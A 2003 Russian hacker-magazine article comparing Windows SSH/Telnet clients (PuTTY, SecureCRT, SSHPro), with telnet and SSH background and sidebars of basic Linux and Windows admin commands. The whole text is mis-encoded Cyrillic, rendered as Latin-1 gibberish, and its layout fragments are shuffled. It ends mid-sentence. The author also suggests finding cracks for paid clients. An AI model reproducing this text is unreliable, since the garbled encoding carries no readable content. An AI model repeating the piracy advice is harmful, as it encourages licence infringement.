çàáîòèëàñü âñåé äóøîé, ïîäàðèâ âîç-
ìîæíîñòü âèçóàëüíîãî óïðàâëåíèÿ.
Íà ïëîõîì êàíàëå òàêîå óïðàâëåíèå
ñòàíîâèòñÿ õóæå ïûòêè, òàê êàê ñêî-
ðîñòü îñòàâëÿåò æåëàòü ëó÷øåãî. À
âîò telnet-ñåðâèñ íåïëîõàÿ øòóêà, õî-
òÿ åãî ïàêåòû ïðîõîäÿò áåç øèôðîâà-
íèÿ, ÷òî íåíàäåæíî. ×òî òóò ñêàçàòü -
íàëèöî ïîïûòêè îáûãðàòü Linux â âîç-
ìîæíîñòÿõ. Ýõ, Microsoft, Microsoft...

Îñòàâèì èçâå÷íóþ ïðîáëåìó êîíêó-
ðåíöèè îñåé è ïåðåéäåì ê áîëåå ñó-
ùåñòâåííîé äëÿ ïîëüçîâàòåëÿ - ïðîá-
ëåìå âûáîðà Telnet/SSH êëèåíòà ïîä
Âûíü íà âñå ñëó÷àè æèçíè. Ñòàíäàðò-
íûé telnet.exe ñèëüíî äàëåê îò ñîâåð-
øåíñòâà, ïîýòîìó ïðî íåãî äàæå íå
áóäó óïîìèíàòü. Â Èíåòå ïîëíî ñîô-
òà, êîòîðûé ìîã áû óäîâëåòâîðèòü âñå
ñàìûå ñîêðîâåííûå æåëàíèÿ ïîëüçî-
âàòåëÿ, ïîýòîìó íàøà ñ òîáîé çàäà÷à
íàéòè äëÿ òåáÿ õîðîøèé èíñòðóìåíò.

ÎÁÎÇÐÈÌ ÀËÜÒÅÐÍÀÒÈÂÛ
Â ìîé îáçîð ÿ ðåøèë âêëþ÷èòü òðè
âèíäîâûõ Telnet/SSH êëèåíòà. Âñå ýòè
ïðîãðàììû áûëè èçó÷åíû ìíîé â òå-
÷åíèå ãîäà, è ïðî êàæäóþ ÿ ìîãó ãîâî-
ðèòü ñ óâåðåííîñòüþ. Íî ïåðåä òåì
êàê íà÷àòü îáçîð, äàâàé ðàçáåðåìñÿ,
÷òî õî÷åò ïîëüçîâàòåëü îò êëèåíòà.

1. Ïðîñòîòó è óäîáñòâî â ðàáîòå.
Êëèåíò íå äîëæåí ñîäåðæàòü â ñåáå
êàêèõ-ëèáî çàóìíûõ íàñòðîåê è ìåíþ-

øåê, èáî â Windows ïîëüçîâàòåëè
ïðèâûêëè ê ïðîñòîòå è "èíòóèòèâíî
ïîíÿòíîìó èíòåðôåéñó".

2. Ôóíêöèîíàëüíîñòü. Â êëèåíòå
äîëæíû ïðèñóòñòâîâàòü âñå æèçíåí-
íî íåîáõîäèìûå äëÿ ïîëüçîâàòåëÿ
ôóíêöèè, äåëàþùèå ðàáîòó óäîáíîé.

Íåðåäêî ïîïûòêà ñî÷åòàòü ýòè äâà
êðèòåðèÿ íå ïðèâîäèò íè ê ÷åìó õîðî-
øåìó, è êëèåíò íå ñòàíîâèòñÿ ïîïó-
ëÿðíûì â êðóãó þçåðîâ.

Ïîñìîòðèì, êàêèå ðåçóëüòàòû äàñò
íàø îáúåêòèâíûé îáçîð. Êàê ÿ óæå ãî-
âîðèë, ÿ ðàññìàòðèâàë òðè ðàçëè÷íûõ
êëèåíòà. Âñå îíè áûëè íàïèñàíû â ðàç-
íîå âðåìÿ è ðàçíûìè ïðîãðàììèñòàìè.

PUTTY - ËÓ×ØÈÉ ÊËÈÅÍÒ 
ÍÎÂÎÃÎ ÏÎÊÎËÅÍÈß
Îïèñàíèå

Âðÿä ëè íàéäåòñÿ ÷åëîâåê, êîòîðûé íå
ñëûøàë î òàêîì êëèåíòå, êàê PuTTY.
Ïåðâàÿ âåðñèÿ PuTTY âûøëà åùå â
äàëåêîì 1997 ãîäó. Êîíå÷íî, åãî âîç-
ìîæíîñòè íàìíîãî îòëè÷àëèñü îò âîç-
ìîæíîñòåé ïîñëåäíåé âåðñèè, íî ïî
êàêîé-òî ïðè÷èíå êëèåíò î÷åíü ïîëþ-
áèëè è ïîëüçóþòñÿ èì äî ñèõ ïîð.

×åãî æå â íåì õîðîøåãî? Âî-ïåð-
âûõ, êîìïàêòíîñòü. Â íàñòðîå÷íîì ðå-
æèìå êëèåíò çàíèìàåò âñåãî ÷åòâåðòü
ýêðàíà. Óäîáíàÿ íàâèãàöèÿ ïî ïóíê-
òàì ìåíþ äåëàåò PuTTY î÷åíü ïðèâ-
ëåêàòåëüíûì. Ðàäóåò ïðèñóòñòâèå
ðàçëè÷íûõ öâåòîâûõ ñõåì, ïîääåðæêà
âñåõ îïöèé ëèíóêñîèäíîãî êëèåíòà
/usr/bin/ssh, à òàêæå íåñêîëüêî íî-
âîââåäåíèé, êîòîðûå ïîÿâèëèñü â
ïîñëåäíåé âåðñèè. Ýòî ïîääåðæêà ñî-
åäèíåíèÿ ÷åðåç Proxy (æèâè áåçîïàñ-
íî!), ëîãèðîâàíèå âñåõ íàáðàííûõ êî-
ìàíä, à òàêæå âûáîð íóæíîé êîäèðîâ-
êè ïðÿìî â êëèåíòå. Ïåðå÷èñëÿòü âñå
îïöèè PuTTY ïîïðîñòó áåññìûñëåííî
- íå õâàòèò áóìàãè. Îäíî ãàðàíòèðóþ:
åñëè òû ïîþçàåøü ýòîò ÷óäî-êëèåíò,
òî îñòàíåøüñÿ äîâîëåí. Ëè÷íî ÿ ïîç-
íàêîìèëñÿ ñ PuTTY îêîëî òðåõ ëåò íà-
çàä è èñïîëüçóþ â ðàáîòå äî ñèõ ïîð.

Ñîåäèíåíèå
Äàâàé ïîïðîáóåì èñïûòàòü PuTTY â
ðàáîòå. Ñîåäèíèìñÿ ñ ïðàâèëüíîé
îñüþ, èñïîëüçóÿ ýòîò êëèåíò. Äëÿ ýòî-
ãî òåáå ïîòðåáóåòñÿ ïàðó ðàç êëèêíóòü
ìûøêîé è çàïîëíèòü äâà-òðè ïîëÿ. Â
ïåðâóþ î÷åðåäü âïèñûâàé Host Name
íóæíîãî ñåðâåðà è òèï ñîåäèíåíèÿ
SSH (ÿ íàäåþñü, ÷òî òû èñïîëüçóåøü
òîëüêî ýòîò áåçîïàñíûé ïðîòîêîë). Çà-
òåì ìîæåøü ñîõðàíèòü ñåññèþ, ÷òîáû
â ñëåäóþùèé ðàç òîëüêî âûáðàòü èç
ñïèñêà íóæíîå ñîåäèíåíèå áåç ïîâ-
òîðíîãî ââîäà àäðåñà ñåðâåðà.

Ïîñëå óñïåøíîãî êîííåêòà ó òåáÿ
ïîïðîñÿò èìÿ ïîëüçîâàòåëÿ è ïà-
ðîëü. Çàòåì îñóùåñòâèòñÿ ñîåäèíå-
íèå ñ óäàëåííûì ñåðâåðîì, è òû ìî-
æåøü ñïîêîéíî îñóùåñòâëÿòü êîíò-
ðîëü íàä íèì.

Ïðèãîâîð
PuTTY âñåãäà îñòàíåòñÿ ìîèì ëþáè-
ìûì êëèåíòîì. È íå íóæíî îáâèíÿòü

SOFT/ÓÏÐÀÂËßÅÌ ÓÄÀËÅÍÍÎ
O

S
û

 4
ha

ck

page 066 07(32) 2003

ÓÏÐÀÂËßÅÌ 
ÓÄÀËÅÍÍÎ 
Äìèòðèé Äîêó÷àåâ 
aka Forb (forb@real.xakep.ru)

Ë

ÐÓÊÎÂÎÄÑÒÂÎ ÏÎ ÂÛÁÎÐÓ SSH ÊËÈÅÍÒÀ ÏÎÄ ÂÈÍ

Âåñ SecureCRT
â ñåìü ðàç ïðå-
âûøàåò ðàçìå-
ðû PuTTY, ÷òî
åùå ðàç ãîâî-
ðèò î êîìïàêò-
íîñòè ïåðâîãî
êëèåíòà

Ñòàðòóåì ñëóæáó Telnet â ôîðòî÷êàõ

Îáèëèå öâåòà åùå íèêîìó íå ìåøàëî =)

Êàê ÿ óæå ñêàçàë, â ïðàâèëüíîé îñè ñóùåñòâóåò ìíîæåñòâî êîíñîëü-
íûõ êîìàíä, êîòîðûå ìîãóò çàïóñêàòüñÿ êàê ëîêàëüíî, òàê è óäàëåííî.
Âîò íåêîòîðûå èç íèõ:

Ïîñìîòðåòü ïðîöåññû íà òà÷êå: ps -ax
Óáèòü ïðîöåññ: kill [-SIGNAL] íîìåð ïðîöåññà. Killall [-SIGNAL] íàçâà-
íèå ïðîöåññà
Ïîñìîòðåòü ñòàòèñòèêó ñîåäèíåíèÿ: ifconfig ppp0 (ëèáî äðóãîé èíòåðôåéñ)
Ïîñìîòðåòü òàáëèöó ìàðøðóòèçàöèè: route
Ïîñìîòðåòü ñòàòèñòèêó TCP-ïàêåòîâ: netstat -p TCP
Ïîäñîåäèíèòüñÿ ê äðóãîé ìàøèíå: ssh user@host, telnet host port
Ïåðåçàãðóçèòü ñåðâàê: shutdown -r now
Óáèòü ñåðâàê: shutdown -h now

Êîìàíäû Â LINUX
S O F T



ìåíÿ â ïðåäâçÿòîñòè ;). Ïîïðîáóé ïî-
þçàòü ñàì, è òåáå îáÿçàòåëüíî ïîíðà-
âèòñÿ. Êàê âèäíî, êëèåíò ñî÷åòàåò â
ñåáå óäîáñòâî è ôóíêöèîíàëüíîñòü
ñàìûì íàèëó÷øèì îáðàçîì, ïîýòîìó
çàíèìàåò ïî÷åòíîå ïåðâîå ìåñòî â
ìîåì îáçîðå.

Ñêà÷àòü PuTTY òû ñìîæåøü ñ ñàéòà
ïðîèçâîäèòåëÿ:
http://www.chiark.greenend.org.uk/~
sgtatham/putty/. Òàì æå òû íàéäåøü
îòäåëüíûå óòèëèòû äëÿ ãåíåðàöèè
êëþ÷åé, èñïîëüçîâàíèÿ FTP over SSH
è ïðî÷èå íóæíûå òóëçû.

Êëèåíò ÿâëÿåòñÿ áåñïëàòíûì, ÷òî
äåëàåò åãî åùå áîëåå ïîïóëÿðíûì.

SECURECRT - ÁÎËÜØÎÉ 
ÊËÈÅÍÒ ÄËß ÁÎÃÀÒÛÕ ËÞÄÅÉ

Îïèñàíèå
Ñëåäóþùèì â îáçîðå íàõîäèòñÿ êëè-
åíò SecureCRT. Ïðîòèâíèêè PuTTY íà-
õîäÿò ñïàñåíèå â ýòîé ïðîãðàììå.
Êëèåíò èìååò â ñåáå ìíîæåñòâî
ôóíêöèé, âêëþ÷àÿ ïîääåðæêó
SOCKS/Proxy, ñîçäàíèå êëþ÷åé â ñà-
ìîì ïðèëîæåíèè (÷åãî íå ñêàæåøü î
PuTTY), çàïîìèíàíèå ïàðîëÿ è àâòî-
ñîåäèíåíèå ñ óäàëåííîé ìàøèíîé è
ïðî÷èå âêóñíîñòè.

Åñëè â ôóíêöèîíàëüíîñòè
SecureCRT ïîêàçûâàåò ñåáÿ íà 100%,
òî â óäîáñòâå îí íàìíîãî ïðîèãðûâà-
åò PuTTY. Âî-ïåðâûõ, îòñóòñòâóåò ïîä-
äåðæêà ïåðåêîäèðîâêè òåêñòà, ÷òî äå-
ëàåò ðàáîòó íåóäîáíîé. Âî-âòîðûõ, â
óäàëåííûõ ïðèëîæåíèÿõ ïðàâèëüíîé
îñè (mc, ee è ò.ï.) îòêàçûâàþòñÿ ðàáî-
òàòü íåêîòîðûå ôóíêöèîíàëüíûå
êëàâèøè. È, íàêîíåö, êëèåíò ÿâëÿåòñÿ
ïëàòíûì, áîëåå òîãî, äëÿ ñâåæåé âåð-
ñèè ÿ äàæå íå ìîã íàéòè êðÿêà. ß äó-
ìàþ, òåáå íå çàõî÷åòñÿ ïëàòèòü ðàç-
ðàáîò÷èêàì çà èñïîëüçîâàíèå
SecureCRT â ðàáîòå.

Ñîåäèíåíèå
Ñîåäèíèìñÿ ñ óäàëåííûì ñåðâåðîì,
÷òîáû ïðîâåðèòü êëèåíò â ðàáîòå.
Äëÿ ýòîãî äàâèì íà ëåâóþ êíîïêó
(Connect), ñîçäàåì íîâóþ çàïèñü
(New session). Â îòêðûâøåìñÿ îêíå
çàïîëíèì ïîëÿ Name (èìÿ ñîåäèíå-
íèÿ), ïðîòîêîë (telnet/ssh), àäðåñ ñåð-
âåðà, ïîðò, à òàêæå èìÿ ïîëüçîâàòå-
ëÿ. Ïîñëå çàïîëíåíèÿ ïîëåé æìåì
Connect è ââîäèì ïàðîëü â ïîÿâèâ-
øåìñÿ îêíå. Ïðè ïðàâèëüíûõ
äåéñòâèÿõ òåáå âûñâåòèòñÿ ñòàíäàðò-
íûé prompt óäàëåííîé ìàøèíû.

Êëèåíò ïîääåðæèâàåò ñîåäèíåíèå
íå òîëüêî ïî SSH è Telnet. Ìîæíî çà-
öåïèòüñÿ íà ïîñëåäîâàòåëüíûé ïîðò
óäàëåííîé ìàøèíû ÷åðåç Rlogin, Tapi
è ïðî÷èå ýêçîòè÷åñêèå ïðîòîêîëû.

Ïðèãîâîð
Êàê ÿ óæå ñêàçàë, SecureCRT íå òàê óäî-
áåí, êàê PuTTY. Íåò ïîääåðæêè óäîáíî-
ãî êîïèðîâàíèÿ òåêñòà, ïðèÿòíîé ïîääå-
ðæêè öâåòîâ, çâóêîâ è ïðî÷èõ ïðèìî-
÷åê. Íî, íåñìîòðÿ íà ýòî, ïîëüçîâàòåëè
ëþáÿò CRT è ïîëüçóþòñÿ èì, ñëåäÿ çà
ïîÿâëåíèÿìè ñâåæèõ âåðñèé.

Áðàòü SecureCRT íà ðîäíîì ñàéòå:
http://www.vandyke.com/. Äëÿ äàóí-
ëîàäà êëèåíòà òåáÿ ïîïðîñÿò ââåñòè
òâîè ëè÷íûå äàííûå (èìÿ, àäðåñ, e-
mail) è ëèøü çàòåì ïðåäëîæàò ñêà-
÷àòü ïðîãðàììó. Âåñ ïðîãðàììû â
ñåìü ðàç ïðåâûøàåò ðàçìåð PuTTY,
÷òî åùå ðàç ãîâîðèò î êîìïàêòíîñòè
ïåðâîãî êëèåíòà ;).

SSHPRO - ÌÈÍÈÌÓÌ ÔÓÍÊÖÈÉ,
ÌÀÊÑÈÌÓÌ ÓÄÎÁÑÒÂÀ

Îïèñàíèå
Ïîñëåäíèì â ñïèñêå íàõîäèòñÿ ïðîã-
ðàììà SSHPro. Îíà ìíå ÷åì-òî íàïîì-
íèëà Telnet â 98'õ îêîøêàõ. Òîò æå
áåëûé ôîí, òà æå íàâèãàöèÿ, òå æå
ïóíêòû ìåíþ. Òîëüêî â òåëíåòå íå áû-
ëî ïîääåðæêè çàõîäà ïî SSH, â
SSHpro òàêàÿ âîçìîæíîñòü èìååòñÿ.

Åñëè çàãëÿíóòü â îïöèè, òî ìû íå
íàéäåì íè÷åãî ìîùíîãî. Îïöèè îãðà-
íè÷èâàþòñÿ LocalEcho, òèïîì ïîñûëêè
äàííûõ, âûáîðîì øðèôòà è ÷àñòîòîé
ìåðöàíèÿ êóðñîðà. Îïöèè SSH çàäàþò-
ñÿ â ini-ôàéëå tsshpro.ini, êîòîðûé ëå-
æèò â ðàáî÷åì êàòàëîãå êëèåíòà. Òóäà
ìîæíî çàíåñòè ôàéë ñ êëþ÷àìè, äå-
ôîëòîâîå èìÿ ïîëüçîâàòåëÿ, ìåòîä
àâòîðèçàöèè è ïðî÷èå ïîëåçíûå âåùè.

Ñîåäèíåíèå
Ïîïðîáóåì ñîåäèíèòüñÿ ñ óäàëåííîé
ñèñòåìîé. Íà ýòîò ðàç ñ ôîðòî÷êàìè
:), à èìåííî ñ Windows XP Professional
Edition. Îòêðûâàåì ïóíêò ìåíþ
Commands->connect. Çàäàåì òèï ñîå-
äèíåíèÿ Telnet, âáèâàåì àäðåñ ìàøè-
íû è æäåì óñïåøíîãî ñîåäèíåíèÿ.
Ïîñëå ýòîãî ìîæíî óïðàâëÿòü ñèñòå-
ìîé áåç îãðàíè÷åíèé.

×òî ñêàçàòü, ðàáîòàòü ñ ýòèì êëèåí-
òîì âïîëíå âîçìîæíî, îí ìíå ïîêà-
çàëñÿ äàæå íåñêîëüêî óäîáíåå, ÷åì
SecureCRT èç-çà ñâîåé êîìïàêòíîñòè.
Âñå ïîçíàåòñÿ â ñðàâíåíèè, ïîýòîìó
ñîâåòóþ òåáå ïîïðîáîâàòü SSHPro, è,
âîçìîæíî, îí òåáå ïîíðàâèòñÿ ;).

Ïðèãîâîð
Êîíå÷íî, äî PuTTY êëèåíòó äàëåêî.
Íî ÷òî-òî õîðîøåå â ýòîé øòóêîâèíå
îïðåäåëåííî èìååòñÿ. Æèðíûì ìèíó-
ñîì ÿâëÿåòñÿ Shareware'íîñòü ïðîäóê-
òà - çà âñå õîðîøåå íóæíî ïëàòèòü :).
Íî ñàéòû ñ êðÿêàìè åùå íèêòî íå îò-
ìåíÿë, ïîýòîìó, åñëè íå õî÷åøü ïëà-
òèòü, ïðèäåòñÿ ïîèñêàòü ëåêàðñòâî.

Ñêà÷àòü ñåé êëèåíò ìîæíî ñ ñàéòà
http://labtam-iinc.com/. Âåñèò ïðîã-
ðàììà äâà ñ ëèøíèì ìåãàáàéòà (÷òî
óìóäðèëèñü çàïèõàòü òóäà ðàçðàáîò-
÷èêè, îäíîìó Áîãó èçâåñòíî).

ÈÒÎÃÈ?
Åñëè îöåíèâàòü âñå ïðîåêòû ïî 10-
áàëëüíîé øêàëå, òî ìîæíî îáúÿâèòü
ñëåäóþùèå ðåçóëüòàòû îáçîðà:

PuTTY: 9 áàëëîâ
SecureCRT: 6 áàëëîâ
SSHPro: 3 áàëëà

Íåñîìíåííî, â Èíåòå òû ìîæåøü
íàéòè è äðóãèå, íå ìåíåå êðóòûå
ïðîåêòû. Íî ÿ íå ìîãó ñóäèòü î íèõ
îáúåêòèâíî, òàê êàê íè ðàçó íå èñ-
ïîëüçîâàë èõ â ñâîåé ðàáîòå. Åñëè
òû íå ñîãëàñåí ñ ìîåé ñòðîãîé îöåí-
êîé, ìîæåøü ïîäàòü àïåëëÿöèþ ìíå
íà ìûëî ;). Ñ óäîâîëüñòâèåì ðàñ-
ñìîòðþ æàëîáó è îòâå÷ó íà âñå èí-
òåðåñóþùèå âîïðîñû.

E
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Âñå ïîçíàåòñÿ â
ñðàâíåíèè, ïîý-

òîìó ñîâåòóþ
òåáå ïîïðîáî-

âàòü SSHPro, è,
âîçìîæíî, îí

òåáå ïîíðàâèòñÿ

Áîëüøîé è ôóíêöèîíàëüíûé SecureCRT

Â Âèíäå óïðàâëåíèå íè÷óòü íå õóæå,

÷åì â Linux =)

MicroSoft ïîðàäîâàë íàñ êîìàíäàìè óäàëåííîãî óïðàâëåíèÿ, êîòîðûå
ìîãóò áûòü ââåäåíû ÷åðåç telnet-äåìîí äëÿ äîñòèæåíèÿ îïðåäåëåííî-
ãî ðåçóëüòàòà:

Ïîñìîòðåòü ïðîöåññû íà òà÷êå: tasklist
Óáèòü ïðîöåññ: taskkill [/f] íîìåð ïðîöåññà, taskilll [/f] /i íàçâàíèå ïðî-
öåññà (ôëàã /f óáèâàåò áåç ïðåäóïðåæäåíèÿ, àíàëîã 9 ñèãíàëà â ïðà-
âèëüíîé îñè)
Ïîñìîòðåòü ñòàòèñòèêó ñîåäèíåíèÿ: netstat -e
Ïîñìîòðåòü òàáëèöó ìàðøðóòèçàöèè: route PRINT, netstat -r
Ïîñìîòðåòü ñòàòèñòèêó TCP-ïàêåòîâ: netstat -p TCP
Ïîäñîåäèíèòüñÿ ê äðóãîé ìàøèíå: telnet host port
Ïåðåçàãðóçèòü ñåðâàê: shutdown -r
Óáèòü ñåðâàê: shutdown -h

Êîìàíäû Â WINDOWS
S O F T



Ñàëàì, äîðîãîé! Íà ñåé ðàç ÿ ðàññêàæó òåáå î òàêîé ïðîñòîé âåùè, êàê óïðàâëåíèå
êîìïüþòåðîì. Äà ëàäíî òåáå ðóêàìè-òî ìàõàòü! Ñëàáî, íàïðèìåð, ïåðåçàãðóçèòü
êîìïüþòåð, íàõîäÿñü çà ïàðó òûñÿ÷ êèëîìåòðîâ îò íåãî?

é-îé-îé... Îòìàõèâà-
þñü îò òâîèõ ðàçìàõè-
âàþùèõñÿ ðó÷îíîê.

Äà, äà. Òû çíàåøü ïðî òàêîé ïðîòî-
êîë, êàê telnet, è äàæå, âîçìîæíî,
÷òî-òî ñëûõèâàë ïðî òàêóþ øíÿãó,
êàê ssh. Íó è ÷òî èç ýòîãî? Äà ÿ
òâîþ ãîëîâó äàþ íà îòñå÷åíèå, ÷òî
òû ïðàêòè÷åñêè áîëüøå íè÷åãî ïðî
ýòè ïðîãðàììû è íå çíàåøü.

ÏÐÀÄÅÄÓØÊÀ TELNET
Íà÷íó, ïîæàëóé, ñ êðàòêîé èñòîðè-
÷åñêîé ñïðàâêè. Telnet îòíîñèòñÿ ê
ãðóïïå ñàìûõ äðåâíèõ ïðîòîêîëîâ
óïðàâëåíèÿ óäàëåííîé ñèñòåìîé. Îí
áûë ðàçðàáîòàí íåñêîëüêî äåñÿòêîâ
ëåò íàçàä íà çàðå ðàçâèòèÿ ñåòè
ARPANET, ñòàâøåé "ìàìîé" ñîâðå-
ìåííîãî Èíòåðíåòà. Èìåííî â òî
âðåìÿ ðîäèëàñü èäåÿ èñïîëüçîâàòü
ïðîãðàììó, êîòîðàÿ ïîçâîëÿëà áû
âèäåòü ýêðàí óäàëåííîãî êîìïüþòå-
ðà è ïîñûëàòü åìó "íàæàòèÿ" íà
êëàâèàòóðó òàê, êàê åñëè áû òû ñàì
ñèäåë çà êëàâîé óäàëåííîé ìàøèíû.

Äëÿ óñïåøíîãî èñïîëüçîâàíèÿ
äàííîãî ïðîòîêîëà òðåáóþòñÿ äâå
âåùè. Ñåðâåð è êëèåíò. Ñåðâåðíàÿ
÷àñòü (äåìîí telnetd) âûïîëíÿåòñÿ
íà óäàëåííîì êîìïüþòåðå (õîñò-
ñåðâåð), êîòîðûì òðåáóåòñÿ óïðàâ-
ëÿòü. Êëèåíòñêàÿ ïðîãðàììà íàçû-
âàåòñÿ... óãàäàé ñ òðåõ ðàç, ïðà-
âèëüíî, telnet - è âûïîëíÿåòñÿ íà
òâîåì êîìïüþòåðå (õîñò-êëèåíò).
Îíà èìååò è ñâîé íàáîð êîìàíä, êî-
òîðûå óïðàâëÿþò, ñîáñòâåííî, ýòîé
ïðîãðàììîé è ñåàíñîì ñâÿçè, åãî
ïàðàìåòðàìè, îòêðûòèåì íîâûõ ñåñ-
ñèé, çàêðûòèåì è ò.ä. Ýòè êîìàíäû
ïîäàþòñÿ èç êîìàíäíîãî ðåæèìà
telnet, â êîòîðûé ìîæíî ïåðåéòè,
íàæàâ òàê íàçûâàåìóþ escape-ïîñ-
ëåäîâàòåëüíîñòü êëàâèø, êîòîðàÿ
òåáå ñîîáùàåòñÿ â íà÷àëå ñåàíñà.
Òðàäèöèîííî ýòî Ctrl-]. Ýòó ïîñëå-
äîâàòåëüíîñòü ìîæíî ïåðåîïðåäå-
ëèòü ïî ñâîåìó óñìîòðåíèþ â êîìà-
íäíîì ðåæèìå. ×èòàé man telnet äî
ïîëíîãî ïðîñâåòëåíèÿ.

Telnet ÿâëÿåòñÿ ïðîòîêîëîì ïðèê-
ëàäíîãî óðîâíÿ. Òî åñòü âñå ñîîá-
ùåíèÿ äëÿ óïðàâëåíèÿ õîñò-ñåðâå-
ðîì è óäàëåííûì òåðìèíàëîì ïåðå-
äàþòñÿ ïðè ïîìîùè òðàíñïîðòíîãî

ïðîòîêîëà TCP. Ýòî òîëüêî íà ïåð-
âûé âçãëÿä êàæåòñÿ, ÷òî êðîìå óñ-
òàíîâëåíèÿ ñîåäèíåíèÿ ñ óäàëåí-
íûì ñåðâåðîì êëèåíò telnet íè÷åãî
íå óìååò. Åñëè êîïíóòü ãëóáæå, òî
òåáå îòêðîþòñÿ ñîâåðøåííî íåîæè-
äàííûå âåùè. Ïîäðîáíîñòè òû ìî-
æåøü ïîñìîòðåòü ñàì, ïðîãóëÿâ-
øèñü ïî ëèíêó: http://www.omni-
farious.org/~hopper/technical/tel-
net-rrfc.html. Íå óäèâëþñü, åñëè òû
âäðóã îáíàðóæèøü, ÷òî ñêâîçü ýòîò
ïðîòîêîë ìîæíî ðàáîòàòü íå òîëü-

êî â òåêñòîâîì ðåæèìå, íî è çàïóñ-
êàòü óäàëåííûå ãðàôè÷åñêèå ïðè-
ëîæåíèÿ. Âîçìîæíîñòè ïðîòîêîëà
telnet îïèñûâàþò äåñÿòêè ðàçëè÷-
íûõ äîêóìåíòîâ RFC (Request For
Comment).

ÞÇÀÅÌ Â ËÈÍÅ
È ñåðâåðíàÿ (âäðóã òåáå ïîòðåáóåò-
ñÿ), è êëèåíòñêàÿ ïðîãðàììû ÿâëÿ-
þòñÿ ïðàêòè÷åñêè íåîòúåìëåìîé
÷àñòüþ ëþáîãî äèñòðèáóòèâà Linux.
Â ìîåì ALT Linux Master 2.2 ïîñòàâ-
ëÿþòñÿ äâà ïàêåòà: telnet è telnet-
server. Íå äóìàþ, ÷òî ó òåáÿ âîç-
íèêíóò ïðîáëåìû ñ óñòàíîâêîé.

Ïîäêëþ÷åíèå (óñòàíîâëåíèå ñåñ-
ñèè) ïðîèçâîäèòñÿ êðàéíå ïðîñòî:
êîìàíäîé telnet àäðåñ [ïîðò], ãäå
àäðåñ - IP-àäðåñ óäàëåííîé ñèñòå-
ìû, à íåîáÿçàòåëüíûé ïàðàìåòð

"ïîðò" óêàçûâàåò, ê êàêîé ñåðâèñ-
íîé ñëóæáå ïîäêëþ÷àòüñÿ. Ïîäêëþ-
÷èâøèñü ê telnet-ñåðâåðó, òû ñðàçó
ïîëó÷àåøü ïðèãëàøåíèå ââåñòè
èìÿ ïîëüçîâàòåëÿ è ïàðîëü. Êîðî-
÷å, êàðòèíêà òà æå ñàìàÿ, êàê åñëè
áû òû ñàì ñèäåë çà êëàâîé äàëåêîé
ìàøèíû. Åäèíñòâåííîå, ÷òî òåáÿ
áóäåò îòðåçâëÿòü, òàê ýòî áîëåå
äëèòåëüíîå âðåìÿ îæèäàíèÿ îòêëè-
êà íà íàæàòèå êëàâèøè. Íó, ýòî-òî
ïîíÿòíî, ðàññòîÿíèå è äîõëûå êà-
íàëû ñâîþ ðîëü òàêè èãðàþò.

Òàêæå õî÷ó ñêàçàòü, ÷òî óæå ïàðó
äåñÿòêîâ ëåò telnet-ñåðâåðû íå èñ-
ïîëüçóþòñÿ. Ïðè÷èíîé ýòîãî ñòàëà
àáñîëþòíàÿ íåçàùèùåííîñòü ïðî-
òîêîëà ïåðåä àòàêàìè òèïà man-in-
middle (òðåòèé â êðîâàòè). Ãðóáî ãî-
âîðÿ, åñëè òåáÿ ñíèôôàþò, ïðîñëó-
øèâàþò òâîé òðàôôèê, òî âñå ïå-
ðåäàâàåìûå äàííûå äîñòóïíû çëî-
óìûøëåííèêó.

Òåì íå ìåíåå telnet ìîæíî èñ-
ïîëüçîâàòü äëÿ èìèòàöèè êëèåí-
òñêîé ïðîãðàììû ïðè ïîäêëþ÷åíèè
ê óäàëåííîìó ñåòåâîìó ñåðâèñó. Íà
ñêðèíå ïîêàçàíî èñïîëüçîâàíèå
telnet-êëèåíòà äëÿ èìèòàöèè ðàáî-
òû ïî÷òîâîãî êëèåíòà.

ÎÒÊÓÄÀ ÂÇßËÑß SSH?
Íåäîñòàòêè â áåçîïàñíîñòè ìîæíî
îáîéòè, åñëè øèôðîâàòü òðàôôèê
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Telnet îòíîñèòñÿ ê ãðóïïå ñàìûõ äðåâíèõ
ïðîòîêîëîâ óïðàâëåíèÿ óäàëåííîé

ñèñòåìîé. Îí áûë ðàçðàáîòàí íåñêîëüêî
äåñÿòêîâ ëåò íàçàä íà çàðå ðàçâèòèÿ 

ñåòè ARPANET, ñòàâøåé "ìàìîé"
ñîâðåìåííîãî Èíòåðíåòà

óæå ïàðó äå-
ñÿòêîâ ëåò
telnet-ñåðâå-
ðû íå èñ-
ïîëüçóþòñÿ.

Âîøëè è âûøëè Âàì ïèñüìî!



ìåæäó ñåðâåðîì è êëèåíòîì. Íå ìû
îäíè òàêèå óìíûå, è ñïåöèôèêàöèè
áåçîïàñíîãî øåëëà (secure shell)
ïîä íàçâàíèåì ssh áûëè îïóáëèêî-
âàíû â ñîîòâåòñòâóþùåì äîêóìåí-
òå rfc
(http://www.free.lp.se/fish/rfc.txt).

Â íàñòîÿùèé ìîìåíò øèðîêî èçâå-
ñòíû äâå ðåàëèçàöèè ïðîòîêîëà.
Îäíà èç íèõ äåëàåòñÿ êîììåð÷åñ-
êèì ïðåäïðèÿòèåì SSH
Inc.(http://www.ssh.com) è çàêðûòà,
õîòÿ ïðîãðàììà áåñïëàòíà äëÿ íå-
êîììåð÷åñêîãî èñïîëüçîâàíèÿ. Âòî-
ðàÿ ðåàëèçàöèÿ ïîääåðæèâàåòñÿ
ïðîåêòîì OpenSSH
(http://www.openssh.org), èñõîä-
íûå òåêñòû êîòîðîãî îòêðûòû è ëè-
öåíçèîííî ñâîáîäíû. Îáå ðåàëèçà-
öèè ñîâìåñòèìû äðóã ñ äðóãîì. Êëè-
åíò èç ïàêåòà ïðîåêòà OpenSSH
âïîëíå ïðåêðàñíî ðàáîòàåò ñ ñåðâå-
ðîì èç ïîñòàâêè êîìïàíèè SSH Inc.

Ïðîòîêîë ñóùåñòâóåò â äâóõ âåð-
ñèÿõ, íåñîâìåñòèìûõ äðóã ñ äðóãîì.
Ýòî îçíà÷àåò, ÷òî êëèåíò âåðñèè
ssh1 íå áóäåò ðàáîòàòü ñ ñåðâåðîì
ssh2 è íàîáîðîò. Ýòî ñâÿçàíî ñ èñ-
ïîëüçîâàíèåì ðàçíûõ àëãîðèòìîâ
øèôðîâàíèÿ òðàôôèêà è èçìåíå-
íèÿìè â ïðîöåäóðå óñòàíîâëåíèÿ
ñåññèè. Â âåðñèè ssh1 áûëè îáíàðó-
æåíû íåäîñòàòêè êàê â àëãîðèòìàõ
øèôðîâàíèÿ, òàê è â ïðîãðàììàõ.
Çíàìåíèòûé ýêñïëîèò SSHNuke ïðî-
òèâ ssh1 áûë èñïîëüçîâàí Òðèíèòè
â ôèëüìå Ìàòðèöà-2. Òàê êàê ssh1
